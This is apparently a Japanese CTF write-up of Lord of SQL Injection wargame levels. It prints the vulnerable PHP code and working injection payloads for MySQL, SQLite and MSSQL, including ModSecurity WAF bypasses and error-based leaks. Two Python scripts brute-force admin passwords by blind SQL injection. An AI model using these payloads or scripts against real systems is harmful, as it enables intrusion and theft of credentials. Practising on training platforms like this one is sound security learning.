のレコードにadminのemailが追加されました🙌
最後はクエリのemail
に出てきたやつを入れればOK
ouroboros
query : select pw from prob_ouroboros where pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>"; if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros"); highlight_file(__FILE__); ?>
prob
,_
,.
,rollup
,join
,@
が使用できない。
何かデータが取れたらpw
を表示してくれ、更にこれと入力が一致すればクリア。
select pw from prob_ouroboros where pw='' or 1#'
これ入れてみたけど何も出ず。
ハテ?なんのレコードも引っかからなかったということ?なんにも入ってないの?
じゃあ green_dragon でやったように、outputを作ってあげたら良いのかな。
select pw from prob_ouroboros where pw='' union select 1#'
Pw : 1 がでた!
うーん、でもgrenn_dragonではここで入れたresult
の値を使って再度クエリを投げるようになってたけど、今回は再クエリ無しで$result['pw'] === $_GET['pw']
を満たさないといけない。
入力parameterと出力parameterが一致…。どうやって…。
他の方のwriteupを薄目で見たところ、"Quine SQL injection"というらしい。
Quineはweblio和英辞典によると、
コンピュータプログラムの一種で、自身のソースコードと完全に同じ文字列を出力するプログラムである
とのこと。おーこれこれ。これがほしい。
MySQLの Quine SQL Injectionでググってみると、韓国語のサイトがたくさんヒットする。The Load of SQLiの作者も韓国っぽいので、韓国ではやってるのかな?用途はそんなにないので、CTFで役に立つくらいかな、とある。
下記のサイトを参考に、クエリを組み立ててみます。
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
他のDBでもだいたいやることは同じようで、CHARがCHRだったりといった違いっぽい。
localで試してみると
mysql> SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine -> ; +------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | Quine | +------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine | +------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
とても見にくいけど、送ったクエリ分がそのままQuine
として返ってきています。これはそのまま使えそう。
select pw from prob_ouroboros where pw=''union SELECT REPLACE(REPLACE('"union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#',CHAR(34),CHAR(39)),CHAR(36),'"union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#') AS Quine#'
このクエリで通った🙌
こんな手法もあるんだねぇ!
zombie
query : select pw from prob_zombie where pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect("zombie"); if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select pw from prob_zombie where pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>"; if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie"); highlight_file(__FILE__); ?>
今度もまた、rollup
とjoin
,@
、加えてace
というのも使用できない。
さっきと同じく、何かしらresult['pw']
が取れたら、表示してくれる。で、result['pw']
と_GET['pw']
が一致すればOK。
さっきと同じ方法で取れるじゃん!と思ったら、REPLACE
が使えない!
REPLACEの代替としては、
INSERT...ON DUPLICATE KEY UPDATE
が挙げられるっぽい。これを使うとめちゃくちゃ長くなりそうだ…。あと、DUPLICATE調べたときに出てきた、uniqueな列が無いと使えない。あと、回文っぽい感じの手法なので、この置き換えは無理そう。
まずはレコードがあるか調べてみます。
select pw from prob_zombie where pw='' or 1#'
Pw :
が表示されない。また中身が無いのか。
select pw from prob_zombie where pw='' union select 1#'
出た。Pw : 1。ここもuroboros問題と同じ。replaceが使えないだけ…。
またさっぱりわからないので、他のwriteupを薄目で見てみると、information_schema.processlist
というワードが。もうほぼ答えじゃんって感じだけど、調べてみる。
PROCESSLIST テーブルは、どのスレッドが動作しているかに関する情報を提供します。
なるほど。localで実行してみます。
mysql> show processlist; +----+-----------------+-----------+------+---------+-------+------------------------+------------------+ | Id | User | Host | db | Command | Time | State | Info | +----+-----------------+-----------+------+---------+-------+------------------------+------------------+ | 4 | event_scheduler | localhost | NULL | Daemon | 87711 | Waiting on empty queue | NULL | | 9 | root | localhost | test | Query | 0 | starting | show processlist | +----+-----------------+-----------+------+---------+-------+------------------------+------------------+ 2 rows in set (0.01 sec)
ほうほう。今はroot userで実行しているので、User=root
,Command=Query
のInfo
に今実行したクエリが出てきます。これだけを抽出するようにしてみます。
mysql> select Info from information_schema.processlist where Command='Query'; +-----------------------------------------------------------------------+ | Info | +-----------------------------------------------------------------------+ | select Info from information_schema.processlist where Command='Query' | +-----------------------------------------------------------------------+ 1 row in set (0.00 sec)
ヨシ!あとは問題のクエリにいい感じに繋げられるか。
select pw from prob_zombie where pw=''union select Info from information_schema.processlist where Command='Query'
結果
Pw : select pw from prob_zombie where pw=''union select Info from information_schema.processlist where Command='Query'
あーそうか!クエリの頭から取ってきちゃうんだ!入力値と合わない。困ったな?
substr
で範囲を指定して、入力する範囲に絞ってみる。
select pw from prob_zombie where pw=''union select substr(Info,38,89) from information_schema.processlist where Command='Query'
これで通った!
alien
query : select id from prob_alien where no=
query2 : select id from prob_alien where no=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~"); $query = "select id from prob_alien where no={$_GET[no]}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $query2 = "select id from prob_alien where no='{$_GET[no]}'"; echo "<hr>query2 : <strong>{$query2}</strong><hr><br>"; if($_GET['no']){ $r = mysqli_fetch_array(mysqli_query($db,$query)); if($r['id'] !== "admin") exit("sandbox1"); $r = mysqli_fetch_array(mysqli_query($db,$query)); if($r['id'] === "admin") exit("sandbox2"); $r = mysqli_fetch_array(mysqli_query($db,$query2)); if($r['id'] === "admin") exit("sandbox"); $r = mysqli_fetch_array(mysqli_query($db,$query2)); if($r['id'] === "admin") solve("alien"); } highlight_file(__FILE__); ?>
no
にadmin
,adn
,or
,if
,coalesce
,case
,_
,.
,prob
,time
が使えない。厳しい。
query
とquery2
の違いは、no
にシングルクォートがついてくるかどうか。
クリアするための条件がよくわからない。条件分岐が4つあって、
- queryで取れたレコードの
id
が"admin"
でない -> sandbox1 - queryで取れたレコードの
id
が"admin"
-> sandbox2 - query2で取れたレコードの
id
が"admin"
-> sandbox - query2で取れたレコードの
id
が"admin"
-> クリア
はて??同じクエリの結果だから同じ結果が返るはずなのに。特に3と4の違いがわからん。
1回目のクエリと2回目のクエリかで結果が変わるようなクエリの書き方があるのか?
色々試しながら挙動を確認してみよう。
まず、query1を通すために
select id from prob_alien where no=1 || 1
を入れてみると、sandbox1
が表示。
select id from prob_alien where no=0 || id=0x61646d696e
でも同様。admin
レコードは存在しないということか。union select
で作成してあげる。
select id from prob_alien where no=0 union select 0x61646d696e
-> sandbox2
今度はquery2の最初に引っ掛けてsandbox
と表示させる条件を探してみる。
select id from prob_alien where no='' union select 0x61646d696e#'
query2が↑こうなるように、
?no=' union select 0x61646d696e#
を送ると、sandbox1が表示されてしまう。こっちに先に引っかかってexitしてしまうみたい。このとき、各クエリは
query : select id from prob_alien where no=' union select 0x61646d696e# query2 : select id from prob_alien where no='' union select 0x61646d696e#'
と表示されている。
sandbox1, sandbox2の両方に引っかからにようにするクエリを探すのが先決みたい。
と言うところで、さっき自分で書いた
1回目のクエリと2回目のクエリかで結果が変わるようなクエリの書き方があるのか?
を思い出してみる。
もしかして、1,2,3回目でDBにデータを入れたり消したりできればよいのでは?試してみよう。
select id from prob_alien where no=%0a insert into prob_ailen values ('admin');
みたいなクエリを投げられないかしら。prob_ailen
が禁止されているのをどうするか問題。これも封じられてるっぽいぞ。困った。
よーし気分を変えて、query1とquery2、両方に有効なクエリを考えてみよう。おなじ no
変数でクエリを組み立ててしまうので、何かしら策が必要。
query1はクォートなし,query2はクォートアリに着目する。#
を挟んで、コメントアウトとみなすか、文字列の中とみなすかでquery1とquery2、両方のクエリが通るようにできそう。
やってみよう。
?no=1 union select 0x61646d696e#' || union select 0x61646d696e#
を入れると(要urlencode)、
query : select id from prob_alien where no=1 union select 0x61646d696e#' union select 0x61646d696e# query2 : select id from prob_alien where no='1 union select 0x61646d696e#' union select 0x61646d696e#' sandbox2
意図通り、queryでは前半部分が、query2では後半部分のクエリが有効になりそう!
次は、クエリが走るたびに結果を変える方法。
ここで注目すべきは、この条件式を評価するときに毎回クエリを実行していること。
何個か前のTime-based injectionでも学んだ通り、Time-basedの手法だと、クエリが走れば結果がわかる。クエリが走れば状況が変わる。
さっきみたいにレコードを書き換えるよりは時間を操ったほうが楽そう。
ということで、
- queryを実行するごとにsleepさせて時間をすすめる
- query内で、現在時刻の秒数が例えば奇数だったら'admin'取れる、偶数だったら取れない、みたいな条件をつける
これで行けそう。ただ禁止句が多すぎる…。
まずは各クエリにsleep(1)
を挟んでnow()
で時刻を取得、条件分岐に使用して結果を変えるのを検証してみます。
query : select id from prob_alien where no=1 union select case when sleep(1) && now()%2=1 then 0x61646d696e else 'kusuwada' end
これで行けるやろ!と思ったらNo Hack
! case
が使えなかった。if
も使えない…。
こうなったら、now()%2
かsleep(1) && now()%2=1
の結果を数値として使うか。char(97+now()%2)
とすれば、admin
の最初の文字がa
かb
になるでしょう。
query : select id from prob_alien where no=1 union select char(97,100,109,105,110)
これを試してみると、sandbox2が表示。ヨシ。これにsleep
,now
を加えてみると
query : select id from prob_alien where no=1 union select char(97+(sleep(1)&&now()%2=1),100,109,105,110)
あれ、これだと必ず sandbox2 になってしまうな?…と思ったら、sleep()
のreturnは0
なんですって。
気を取り直して
query : select id from prob_alien where no=1 union select char(97+(!sleep(1)&&now()%2=1),100,109,105,110)
このクエリを投げると、sandbox1
と、どのケースにも当てはまらない、を行ったり来たりするようになりました!前進
!
では、後半も同様にしてつなげて、
select id from prob_alien where no=1 union select char(97+(!sleep(1)&&now()%2=1),100,109,105,110)#' union select char(97+(!sleep(1)&&now()%2=0),100,109,105,110)#
お!一発目のクエリでsandbox
が表示されたぞ!何回か試行してみます!
... sandbox1 と sandbox を繰り返している…。
これは条件がよろしくないっぽい。
1回目はadmin、2回目はadmin以外、3回目もadmin以外、4回目でadmin、となる必要があるので、3,4回目の判断条件は逆転する必要がある。
select id from prob_alien where no=1 union select char(97+(!sleep(1)&&now()%2=1),100,109,105,110)#' union select char(97+(!sleep(1)&&now()%2=0),100,109,105,110)#
このクエリで、3回目くらいの試行でClear!!!やったーーーー!!!!🙌
cthulhu
modsec.rubiya.kr server is running ModSecurity Core Rule Set v3.1.0 with paranoia level 1(default). It is the latest version now.(2019.05)
Can you bypass the WAF?
query : select id from prob_cthulhu where id='' and pw=''
<?php include "./welcome.php"; include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("cthulhu"); highlight_file(__FILE__); ?>
クトゥルフ。聞いたことないの出てきた。
今回はWAFをbypassする問題みたい。serverのFWとversionが親切にも書いてある。
クエリ自体はとてもシンプルで、
select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'
何か結果が取れればクリア。
多分WAFにえらい弾かれるんだろうなー!
普通のクエリを入れてみると、
query : select id from prob_cthulhu where id='1' and pw='test'
クエリが表示されて終わり。
query : select id from prob_cthulhu where id='1' and pw='' or 1#
こんな感じで入れると、
Forbidden You don't have permission to access /chall/cthulhu_c26ae41c4af4c2d7b21c19cbb9009604.php on this server.
これが出る。これが出るとWAFで弾かれたってことなんだろう。
select id from prob_cthulhu where id='\' and pw='or 1#'
これ、WAF通らなさそうだけどなー、通るかなー?と思って入れたら、通った…。これは想定解?
death
query : select id from prob_death where id='' and pw=md5('')
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("death"); elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; highlight_file(__FILE__); ?>
death、死。これもモンスターの名前なのかな?
取得できたデータのid
がadmin
ならクリア。そうでない場合は、result['id']
があれば表示してくれる。
pw
はこのクエリをそのまま活かすとすると、md5
hashした値を突っ込まないといけない。
select id from prob_death where id='\' and pw=md5('or 1#')
これをやってみる。
?id=%5c&pw=or+1%23
Hello guest You are not admin :(
おっ。guestが釣れた。
select id from prob_death where id='\' and pw=md5('or id=0x61646d696e#')
ならば、id='admin'をadmin
が禁止されているのでhexにして
?id=%5c&pw=or+id=0x61646d696e%23
えー!解けちゃった!!!
なんか急に難易度下がってる??
godzilla
query : select id from prob_godzilla where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello admin</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla"); highlight_file(__FILE__); ?>
ゴッズィーラ!来た!
一回目のクエリで何かレコードが取れれば、"Hello admin" を表示してくれる。
入力したpw
がadmin
のものと一致していればクリア。
これもそんなに制約がないし、だいぶ昔の問題で出てきたテクニックだけで解けそう。どういう問題構成なんだろう?
select id from prob_godzilla where id='\' and pw='or 1#'
を入れると、Hello admin がちゃんと表示されることを確認。
DBから取得した値を直接表示してくれるわけではないので、BlindInjection。substr
を使ってみる。
select id from prob_godzilla where id='\' and pw='or id='admin' and substr(pw,x,1)=x#'
これで BlindInjection出来そう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] headers= {'Cookie':'PHPSESSID='+cookie} def attack(attack_sql): attack_url = url + '?id=%5c&pw=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_length_query(length): query = "or id='admin' and length(pw)=" + str(length) + "#" return query def create_pass_query(pw): query = "or id='admin' and substr(pw," + str(len(pw)) + ",1)='" + pw[-1] + "'#" return query def check_result(res): if 'Hello admin' in res.text: return True return False #################### ### main ### #################### # find pw length for i in range(100): query = create_length_query(i) res = attack(query) if check_result(res): length = i break print('pw length: ' + str(length)) # find pw fix_pass = "" for _ in range(length): for c in candidates: try_pass = fix_pass + str(c) print(try_pass) query = create_pass_query(try_pass) res = attack(query) if check_result(res): fix_pass += c break print("enc_pass: " + fix_pass)
やっぱり難易度がだいぶ巻き戻っている…🤔
cyclops
query : select id,pw from prob_cyclops where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select highlight_file(__FILE__); ?>
えー、なんかヒントも親切だし!
どういう事!?
今回はid,pw
を取ってくる必要があるのと、多分DBにid=first
,pw=second
というデータが存在していパターンっぽい。union select
でデータを作成して突っ込んであげれば良さそう。
select id,pw from prob_cyclops where id='\' and pw='union select 'first','second'#'
これをクエリパラメータにすると
?id=%5c&pw=union+select+%27first%27%2c%27second%27%23
あれま!Forbiddenページが。WAFに阻まれたっぽいぞ。ここまでも本当はWAFが簡単なクエリは弾く仕様だったのかな…?
?id=%5c&pw=union/**/select/**/%23
スペースを/**/
に置き換えてここまでは弾かれずに持ってこれたけど、この先何を入れても弾かれる。
よし、こんなときの改行作戦だ。
select id,pw from prob_cyclops where id='\' and pw='union select 'first','second'#'
?id=%5c&pw=union/**/select/**/%0a1%2c1%23
だめかー。他、色々試してみたけど全部弾かれてしまった。
ちゃんとFireWallのアラを探すことにする。ModSecurity Core Rule Set v3.1.0 with paranoia level 1
とのことだったので、これとSQL Injection
,Bypass
,MySQL
とかでググるとこんなサイトが。
PL1での回避方法は2つ紹介されてていて、
a'+(SELECT 1)+'
-1' AND 2<@ UNION/*!SELECT*/1, version()'
1つ目は既に試してみてだめだったので、2つ目を試してみます。この2<@
みたいなやつは、ODBCのためのエスケープなんだそう。
select id,pw from prob_cyclops where id='\' and pw='and 2<@ union/*!select*/1,1#'
うーん、弾かれちゃった。
では、PL2で紹介されてるやつを使ってみる。
-1'<@=1 OR {a 1}=1 OR '
-1'<@=1 OR {x (select 1)}='1
a'+(SELECT 1)+'
select id,pw from prob_cyclops where id='\' and pw='<@=1 union/**/select/**/1,1#'
お!これは通ったぞ!🙌
select id,pw from prob_cyclops where id='\' and pw='<@=1 union/**/select/**/'first','second'#'
クリアー!
chupacabra
query : select id from member where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = sqlite_open("./db/chupacabra.db"); $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['id'] == "admin") solve("chupacabra"); highlight_file(__FILE__); ?>
チュパカブラだ!
ソースを良く見てみると、今回はMySQLではなくSQLiteを使ってるっぽい。
id=admin
のレコードが取れればクリア。
select id from member where id='' and pw=''or id='admin'--'
?pw=%27or+id%3D%27admin%27--
これでクリア。コメントアウトが#
から--
に変わっただけ。
manticore
query : select id from member where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = sqlite_open("./db/manticore.db"); $_GET['id'] = addslashes($_GET['id']); $_GET['pw'] = addslashes($_GET['pw']); $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['id'] == "admin") solve("manticore"); highlight_file(__FILE__); ?>
またSQLite問題。id
,pw
がクエリに入る前にエスケープされてしまう。
試しに?id=%5c
を入れてみると、
query : select id from member where id='\\' and pw=''
エスケープされてる。
id=admin
のレコードが取れればクリア。
SQLiteになってこの問題が出たということは、SQLiteとMySQLでのbackslask escapeの扱いが違うのでは?と問題の構成から解き方を推測する悪いやつをやってみる。
ググってみると、
How to escape unsupported character in SQLite on Android? - Stack Overflow
stackoverflowの出典で申し訳ないが、この会話の途中に
SQLite does not support C-Style backslash \ escaping. It uses the pascal style ' -> '' escaping instead.
とある。その前に読んでいた、こちらの記事でも「バックスラッシュが使えない」と明確には言っていなかったが、同じエスケープ方法が示されていた。
そうなんだねー。じゃあ今回追加されるバックスラッシュでは、エスケープできないとして下記のクエリを流してみます。あ、でも'admin'
みたいに文字列として扱ってもらうには、追加される\
がじゃまになるので他の方法で回避しなくては。
CHAR()
関数が使えそう。
?id='or+id=char(97,100,109,105,110)--
これをurl encodeして送ると
query: select id from member where id='\'or id=char(97,100,109,105,110)-- and pw=''
となって通った👍
banshee
query : select id from member where id='admin' and pw=''
<?php include "./config.php"; login_chk(); $db = sqlite_open("./db/banshee.db"); if(preg_match('/sqlite|member|_/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from member where id='admin' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['id']) echo "<h2>login success!</h2>"; $query = "select pw from member where id='admin'"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['pw'] === $_GET['pw']) solve("banshee"); highlight_file(__FILE__); ?>
またまたSQLite。
1つ目のクエリで何か結果が返れば login success
が表示される。
最終的にadminのpwがわかればクリア。Blind Injectionかな。
select id from member where id='admin' and pw=''or id='admin' and substr(pw,x,1)=x--'
こんなクエリで回せそう。substr
関数の使い方はMySQLと同じ。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] headers= {'Cookie':'PHPSESSID='+cookie} def attack(attack_sql): attack_url = url + '?pw=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_length_query(length): query = "'or id='admin' and length(pw)=" + str(length) + "--" return query def create_pass_query(pw): query = "'or id='admin' and substr(pw," + str(len(pw)) + ",1)='" + pw[-1] + "'--" return query def check_result(res): if 'login success!' in res.text: return True return False #################### ### main ### #################### # find pw length for i in range(100): query = create_length_query(i) res = attack(query) if check_result(res): length = i break print('pw length: ' + str(length)) # find pw fix_pass = "" for _ in range(length): for c in candidates: try_pass = fix_pass + str(c) print(try_pass) query = create_pass_query(try_pass) res = attack(query) if check_result(res): fix_pass += c break print("enc_pass: " + fix_pass)
poltergeist
query : select id from member where id='admin' and pw=''
<?php include "./config.php"; login_chk(); $db = sqlite_open("./db/poltergeist.db"); $query = "select id from member where id='admin' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['id']) echo "<h2>Hello {$result['id']}</h2>"; if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database. highlight_file(__FILE__); ?>
まだまだ続きます、SQLite問題。
最後のコメントによると、flagはflag_{$hash}
テーブルにあるそうです!全部のDBを見るようなクエリを書かないと取れない。また新しいやつだ。
これSECCON Beginnersの問題で何年か前に似たのが出てた気がする。
幸い、クエリで取得した結果は表示してくれるので、ここにtable名とか出せそう。
select name from sqlite_master where type='table';
でtable一覧が取得できるらしいのでやってみる。
select id from member where id='admin' and pw=''union select name from sqlite_master where type='table'--'
一つに絞らないと表示されないか、他のtable名が表示されるかと思ったけど、ラッキーなことに先頭がflag
テーブルだったらしく、一発で表示された🙌
Hello flag_70c81d99
あとは、ここから列名を取って、レコードを取れば良さそう。
select sql from sqlite_master where type='table' and name='flag_70c81d99';
これでカラム名が取れるかな?
select id from member where id='admin' and pw=''union select sql from sqlite_master where type='table' and name='flag_70c81d99'--'
おお、これでスキーマが取得できる、すなわちカラム名も取得できた〜✌️
query : select id from member where id='admin' and pw=''union select sql from sqlite_master where type='table' and name='flag_70c81d99'--'
Hello CREATE TABLE
flag_70c81d99
(flag_0876285c
TEXT )
あとはflagを取るのみ。
select id from member where id='admin' and pw=''union select flag_0876285c from flag_70c81d99--'
query : select id from member where id='admin' and pw=''union select flag_0876285c from flag_70c81d99--'
Hello FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}
でたー!楽しい!
nessie
query : select id from prob_nessie where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = mssql_connect(); if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~"); if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; sqlsrv_query($db,$query); if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors())); $query = "select pw from prob_nessie where id='admin'"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result['pw'] === $_GET['pw']) solve("nessie"); highlight_file(__FILE__); ?>
ネッシー。あ、今度はMSSQLになってる!
adminのpwがわかればクリア。
クエリ中にエラーが発生した場合は、エラーで落ちるみたいなのでerror-basedが使えるかな?
でもそれにしては、禁止用語が多いし、使わなさそうな名前が多い気がするなぁ…。
- コメントは
--
or/**/
- 長さを返す関数は
len()
- 条件式は
IIF ( boolean_expression, true_value, false_value )
色々クエリを投げているうちに、エラーの文言が親切すぎることに気づく。
select id from prob_nessie where id='' and pw=''or id='admin' and pw=1--'
MSSQLのerror-basedの例が PayloadsAllTheThings/MSSQL Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHub に載っているので、これを参考にすると、型が違うのを利用している。他にも色々方法がありそうだけど、まずはもともと pw=''
で varchar型で指定するようになっているところを数値に置き換えてみる。
query : select id from prob_nessie where id='' and pw='' and pw=''or id='admin' and pw=1--'
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'guest' to data type int.
あ、これは多分最初のid
が空だったからguest
が引っかかってるのかな…。
query : select id from prob_nessie where id='admin' and pw='' and pw=''or id='admin' and pw=1--'
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'uawe0f9ji34fjkl' to data type int.
おや!uawe0f9ji34fjkl
、これは何だ。もしかしてadminのpwか?
入れたらクリアー🙌
これをError-basedと呼ぶのかわからないけど、Errorを利用するのもErro発生の有無しかわからないものと、Errorの文言が利用できるタイプとあるんだなぁ。
revenant
query : select * from prob_revenant where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = mssql_connect(); if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~"); if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; sqlsrv_query($db,$query); if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors())); $query = "select * from prob_revenant where id='admin'"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column highlight_file(__FILE__); ?>
またしてもMSSQL。
最初のクエリでまたエラーを表示してくれる。
途中まではさっきの問題とだいたい同じだけども、今回は5番目のカラムを当てる必要があるみたい。
select * from prob_revenant where id='admin' and pw='' or id='admin' and pw=1--'
さっきと同じ感じで投げてみると、
query : select * from prob_revenant where id='admin' and pw='' or id='admin' and pw=1--'
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'jsfa90retjkadsljfn4et' to data type int.
今回は、このとき出てきたjsfa90retjkadsljfn4et
ではクリアできない。
カラム名一覧を取得するか、またエラーにカラム名を出してもらうようにしなければ。
select * from prob_revenant where id='admin' and pw=''union select 1,2,3,4--'
query : select * from prob_revenant where id='admin' and pw='' union select 1,2,3,4--'
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
これで、union select 1,2,3,4,5
にするとerrorが表示されなくなった。まぁそんな気はしていたけど、カラムは5個。
PayloadsAllTheThings/MSSQL Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHub ここで紹介されているカラム名列挙の関数を見ていると、禁止されている句がたくさん出てくる。他のDB情報を抜いたりする用語が禁止されてるみたい。
じゃあ、カラム名を指定するようなクエリを投げてみよう。
select * from prob_revenant where id='admin' and pw='' group by id,pw--'
query : select * from prob_revenant where id='admin' and pw='' group by id,pw--'
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.45a88487' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
おやおや!出てきた!
どんどん group by の列を増やしていくと
query : select * from prob_revenant where id='admin' and pw='' group by id,pw,45a88487--'
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Incorrect syntax near 'a88487'.
